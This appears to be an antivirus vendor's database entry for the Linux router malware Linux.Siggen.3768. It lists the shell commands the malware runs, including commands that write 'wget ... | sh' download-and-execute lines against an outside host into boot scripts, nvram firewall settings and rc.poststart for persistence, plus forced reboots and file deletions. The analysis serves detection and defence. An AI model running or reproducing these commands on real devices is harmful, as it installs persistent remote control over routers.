Linux.Siggen.3768

Linux.Siggen.3768

Added to the Dr.Web virus database: 2021-03-15

Virus description added: 2021-03-15

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Modifies router settings:

Launches processes:

sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
cat /etc/init.d/rcS
grep -v wget
sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
cat /etc/init.d/rcS.bak
sh -c rm -rf /etc/init.d/rcS.bak
rm -rf /etc/init.d/rcS.bak
sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
sh -c nvram commit > /dev/null 2>&1
sh -c ( echo \"sleep 120 && wget -q -O - http://fkd.derpcity.ru/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1
sh -c chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1
chmod 755 /etc/persistent/rc.poststart
sh -c cfgmtd -w -p /etc/ > /dev/null 2>&1
sh -c ( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1
sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
sleep 432000
sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
rm -rf /var/run/wgsh
sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
rm -rf /var/run/bbsh
sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
rm -rf /var/run/tty1
sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
rm -rf /var/run/tty2
rm -rf /var/run/tty3
sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
rm -rf /var/run/tty4
sh -c rm -rf /var/run/tty6 > /dev/null 2>&1 &
rm -rf /var/run/tty5
sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
rm -rf /var/run/tty6

Performs operations with the file system:

Deletes files:

Network activity:

Awaits incoming connections on ports:

Other:

Collects OS information